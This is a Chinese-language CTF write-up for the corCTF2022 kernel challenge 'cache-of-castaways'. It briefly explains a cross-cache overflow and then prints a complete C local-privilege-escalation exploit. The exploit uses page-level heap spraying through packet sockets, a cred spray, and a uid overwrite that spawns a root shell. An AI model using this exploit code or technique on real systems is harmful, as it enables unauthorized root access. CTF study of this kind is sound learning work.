【Page-level Heap Fengshui -- Cross-Cache Overflow】corCTF2022-cache-of-castaways

2023-10-14 05:30

本文主要是介绍【Page-level Heap Fengshui -- Cross-Cache Overflow】corCTF2022-cache-of-castaways,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

什么叫 Cross Cache 呢?其实就是字面意思,我们知道内核中的大部分结构体都有自己的专属 slab 内存池。那现在我们可以想象一下这个场景,我们拥有一个特定 kmem-cache 的溢出漏洞,那么我们该如何利用呢?

程序分析

启动脚本不用看了,该开的保护都开了。而作者将 config 给了我们,所以我们可以看下部分编译选项。

# CONFIG_SLAB is not set
# CONFIG_SLAB_MERGE_DEFAULT is not set
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_MEMCG=y
CONFIG_MEMCG_KMEM=y
# CONFIG_DEBUG_CREDENTIALS is not set

驱动程序单独创建了一个 kmem-cache,而该 kmem-cache 是独立的,不会与其他 kmem-cache 合并,且大小为 512 字节。

 ioctl 函数中有增加堆块和修改堆块的功能

修改堆块时,有白给了 6 字节溢出

 

漏洞利用

上面的堆块都是针对  castaway_cache 的 object,而该 cache 是与其他 cache 隔离的,所以从 slub 层面去考虑,我们会发现无法利用该漏洞。

而我们知道 slub 是从伙伴系统申请的内存,然后在划分成一个一个的 object 去使用。 而伙伴系统的内存是连续的,所以我们可以通过页级堆风水去形成如下内存布局(图片来自wiki):

然后就形成了 cross-cache overflow 啦。

这里 victim object 选择谁呢?6字节我们是可以修改 cred 的 uid 的,所以直接打 cred。

我们可以知道 CONFIG_DEBUG_CREDENTIALS 这个编译选项是没有设置的,所以可以直接溢出到 uid 的低两个字节,但是这是足够的。

 

其他的见 ctf-wiki 即可,也没啥好说的了,也不想浪费时间去写一些垃圾。

exp:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <time.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>#define PACKET_VERSION 10
#define PACKET_TX_RING 13#define PGV_PAGE_NUM 1000#define CRED_SPRAY_NUM 1066
#define VUL_OBJ_NUM 400
#define VUL_OBJ_SIZE 512int fd;
int cmd_pipe_req[2], cmd_pipe_reply[2], check_root_pipe[2];
char binsh_str[] = "/bin/sh";
char* shell_args[] = { binsh_str, NULL };
char buf[1];
struct timespec timer = {.tv_sec = 23535670,.tv_nsec = 0,
};struct node {size_t idx;size_t size;char* ptr;
};void add()
{ioctl(fd, 0xCAFEBABE, NULL);
}void edit(size_t idx, size_t size, char* ptr)
{struct node n = { .idx = idx, .size = size, .ptr = ptr };ioctl(fd, 0xF00DBABE, &n);
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void line(char *msg)
{printf("\033[34m\033[1m\n[*] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}struct tpacket_req {unsigned int tp_block_size;unsigned int tp_block_nr;unsigned int tp_frame_size;unsigned int tp_frame_nr;
};enum tpacket_versions {TPACKET_V1,TPACKET_V2,TPACKET_V3,
};/* each allocation is (size * nr) bytes, aligned to PAGE_SIZE */
struct pgv_page_request {int idx;int cmd;unsigned int size;unsigned int nr;
};enum {CMD_ALLOC_PAGE,CMD_FREE_PAGE,CMD_EXIT,
};/* create an isolate namespace for pgv */
void unshare_setup(void)
{char edit[0x100];int tmp_fd;unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);tmp_fd = open("/proc/self/setgroups", O_WRONLY);write(tmp_fd, "deny", strlen("deny"));close(tmp_fd);tmp_fd = open("/proc/self/uid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", getuid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);tmp_fd = open("/proc/self/gid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", getgid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);
}/* create a socket and alloc pages, return the socket fd */
int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
{struct tpacket_req req;int socket_fd, version;int ret;socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);if (socket_fd < 0) {printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n");ret = socket_fd;goto err_out;}version = TPACKET_V1;ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION,&version, sizeof(version));if (ret < 0) {printf("[x] failed at setsockopt(PACKET_VERSION)\n");goto err_setsockopt;}memset(&req, 0, sizeof(req));req.tp_block_size = size;req.tp_block_nr = nr;req.tp_frame_size = 0x1000;req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));if (ret < 0) {printf("[x] failed at setsockopt(PACKET_TX_RING)\n");goto err_setsockopt;}return socket_fd;err_setsockopt:close(socket_fd);
err_out:return ret;
}/* parent call it to send command of allocation to child */
int alloc_page(int idx, unsigned int size, unsigned int nr)
{struct pgv_page_request req = {.idx = idx,.cmd = CMD_ALLOC_PAGE,.size = size,.nr = nr,};int ret;write(cmd_pipe_req[1], &req, sizeof(struct pgv_page_request));read(cmd_pipe_reply[0], &ret, sizeof(ret));return ret;
}/* parent call it to send command of freeing to child */
int free_page(int idx)
{struct pgv_page_request req = {.idx = idx,.cmd = CMD_FREE_PAGE,};int ret;write(cmd_pipe_req[1], &req, sizeof(req));read(cmd_pipe_reply[0], &ret, sizeof(ret));return ret;
}/* child thread's handler for commands from the pipe */
void spray_cmd_handler(void)
{struct pgv_page_request req;int socket_fd[PGV_PAGE_NUM];int ret;/* create an isolate namespace*/unshare_setup();/* handler request */do {read(cmd_pipe_req[0], &req, sizeof(req));if (req.cmd == CMD_ALLOC_PAGE) {ret = create_socket_and_alloc_pages(req.size, req.nr);socket_fd[req.idx] = ret;} else if (req.cmd == CMD_FREE_PAGE) {ret = close(socket_fd[req.idx]);} else {printf("[x] invalid request: %d\n", req.cmd);}write(cmd_pipe_reply[1], &ret, sizeof(ret));} while (req.cmd != CMD_EXIT);
}__attribute__((naked)) int __clone(int flags, int (*fn)(void*))
{/*res = clone(flags, 0, 0, 0, 0, 0)if (res == 0) fn();else return;*/__asm__ volatile("mov r15, rsi;""xor rsi, rsi;""xor rdx, rdx;""xor r8,  r8;""xor r9,  r9;""xor r10, r10;""mov rax, 56;""syscall;""cmp rax, 0;""je CHILD;""ret;""CHILD:""jmp r15;");
}int wait_for_root(void* args)
{/*read(check_root_pipe[0], buf, 1); <== 等待检查信号if (getuid() == 0) execve("/bin/sh", args, NULL);else return;*/__asm__ volatile("lea rax, [check_root_pipe];""xor rdi, rdi;""mov edi, dword ptr [rax];""mov rsi, buf;""mov rdx, 1;""xor rax, rax;""syscall;""mov rax, 102;""syscall;""cmp rax, 0;""jne failed;""lea rdi, [binsh_str];""lea rsi, [shell_args];""xor rdx, rdx;""mov rax, 59;""syscall;""failed:""lea rdi, [timer];""xor rsi, rsi;""mov rax, 35;""syscall;");return 0;
}int main(int argc, char** argv, char** env)
{char buffer[0x1000];bind_core(0);fd = open("/dev/castaway", O_RDWR);if (fd < 0) err_exit("open /dev/castaway");pipe(cmd_pipe_req);pipe(cmd_pipe_reply);pipe(check_root_pipe);if (!fork()){spray_cmd_handler();exit(EXIT_SUCCESS);}info("STEP.I Spray pgv pages");for (int i = 0; i < PGV_PAGE_NUM; i++)if (alloc_page(i, 0x1000, 1) < 0)err_exit("alloc_page");info("STEP.II Free for cred pages");for (int i = 1; i < PGV_PAGE_NUM; i += 2) free_page(i);info("STEP.III Spray cred to fetch pages");for (int i = 0; i < CRED_SPRAY_NUM; i++)if (__clone(CLONE_FILES|CLONE_FS|CLONE_VM|CLONE_SIGHAND, wait_for_root) < 0)err_exit("__clone");info("STEP.IV Free for vulnerable pages");for (int i = 0; i < PGV_PAGE_NUM; i += 2) free_page(i);info("STEP.V Triger overflow write 6 bytes");memset(buffer, '\0', 0x1000);*(uint32_t*)&buffer[VUL_OBJ_SIZE-6] = 1;for (int i = 0; i < VUL_OBJ_NUM; i++){add();edit(i, VUL_OBJ_SIZE, buffer);}info("CHILD PROCESS CHECK");write(check_root_pipe[1], buffer, CRED_SPRAY_NUM);sleep(23535670);return 0;
}

 效果如下:

这篇关于【Page-level Heap Fengshui -- Cross-Cache Overflow】corCTF2022-cache-of-castaways的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/208461

相关文章

cross-plateform 跨平台应用程序-03-如果只选择一个框架,应该选择哪一个?

跨平台系列 cross-plateform 跨平台应用程序-01-概览 cross-plateform 跨平台应用程序-02-有哪些主流技术栈? cross-plateform 跨平台应用程序-03-如果只选择一个框架,应该选择哪一个? cross-plateform 跨平台应用程序-04-React Native 介绍 cross-plateform 跨平台应用程序-05-Flutte

MiniCPM-V: A GPT-4V Level MLLM on Your Phone

MiniCPM-V: A GPT-4V Level MLLM on Your Phone 研究背景和动机 现有的MLLM通常需要大量的参数和计算资源,限制了其在实际应用中的范围。大部分MLLM需要部署在高性能云服务器上,这种高成本和高能耗的特点,阻碍了其在移动设备、离线和隐私保护场景中的应用。 文章主要贡献: 提出了MiniCPM-V系列模型,能在移动端设备上部署的MLLM。 性能优越:

vue中路由管理(vue-router,page)使用总结

现在的项目都以模块化的方式去开发,所以在这样的开发模式下,如何更好的去管理路由是开发中所需要考虑的重点,幸运的是当前的开发中已经有了成熟的中间件去管理,我们只需要用就可以了 下面是我在学习vue-router的时候在原来基础上修改出来的demo,也是为了有助于对vue-router的理解 首先理解下vue官网的一个示例demo https://jsfiddle.net/yyx990803/x

[项目][CMP][Thread Cache]详细讲解

目录 1.设计&结构2.申请内存3.释放内存4.框架 1.设计&结构 Thread Cache是哈希桶结构,每个桶是一个按桶位置映射大小的内存块对象的自由链表 每个线程都会有一个Thread Cache对象,这样每个线程在这里获取对象和释放对象时是无锁的 TLS – Thread Local Strorage Linux gcc下TLSWindows vs下TLS

[项目][CMP][Central Cache]详细讲解

目录 1.设计&结构2.申请内存3.释放内存4.框架 1.设计&结构 Central Cache也是一个哈希桶结构,它的哈希桶的映射关系跟Thread Cache是一样的不同的是它的每个哈希桶位置挂的是SpanList链表结构(带头双向循环链表),不过每个映射桶下面的span中的大内存块被按映射关系切成了一个个小内存块对象挂在span的自由链表中 8Byte映射位置下面挂的是

经验笔记:跨站脚本攻击(Cross-Site Scripting,简称XSS)

跨站脚本攻击(Cross-Site Scripting,简称XSS)经验笔记 跨站脚本攻击(XSS:Cross-Site Scripting)是一种常见的Web应用程序安全漏洞,它允许攻击者将恶意脚本注入到看起来来自可信网站的网页上。当其他用户浏览该页面时,嵌入的脚本就会被执行,从而可能对用户的数据安全构成威胁。XSS攻击通常发生在Web应用程序未能充分过滤用户提交的数据时,导致恶意脚本得以传递

PAT (Advanced Level) Practice——1011,1012

1011:  链接: 1011 World Cup Betting - PAT (Advanced Level) Practice (pintia.cn) 题意及解题思路: 简单来说就是给你3行数字,每一行都是按照W,T,L的顺序给出相应的赔率。我们需要找到每一行的W,T,L当中最大的一个数,累乘的结果再乘以0.65,按照例子写出表达式即可。 同时还需要记录每一次选择的是W,T还是L

编程语言之争:Rust 社区活跃开发者 Ed Page 谈 Rust 与 C++ 的未来

作者 | Annie Xu 采访 | CSDN&Boolan 首席顾问 卢威 责编 | 何苗 出品丨GOSIM 开源创新汇 你最 pick 哪种编程语言?C++、Rust,还是 Python? Ed Page 从事编程行业十几年,见证了不同编程语言的兴衰史。从 C++标准版本 C++98 的诞生,到 Jave、D、Go 等编程语言的崛起与发展,并跃跃欲试想挑战 C++ 的江湖

LRU算法 - LRU Cache

这个是比较经典的LRU(Least recently used,最近最少使用)算法,算法根据数据的历史访问记录来进行淘汰数据,其核心思想是“如果数据最近被访问过,那么将来被访问的几率也更高”。 一般应用在缓存替换策略中。其中的”使用”包括访问get和更新set。 LRU算法 LRU是Least Recently Used 近期最少使用算法。内存管理的一种页面置换算法,对于在内存中但又不用的

【UVa】10755 Garbage Heap 三维前缀和

题目分析:将前缀和应用到三维,求最大子矩阵。为S[x][y][z]数组中每个坐标保存从(0,0,0)到(x,y,z)范围内的子矩阵的元素和,最后用多次区间加减法可以得到需要的子矩阵的元素和,再用类似一维求最大连续和的方法求三维最大连续和。 代码如下: #include <cstdio>#include <cstring>#include <algorithm>using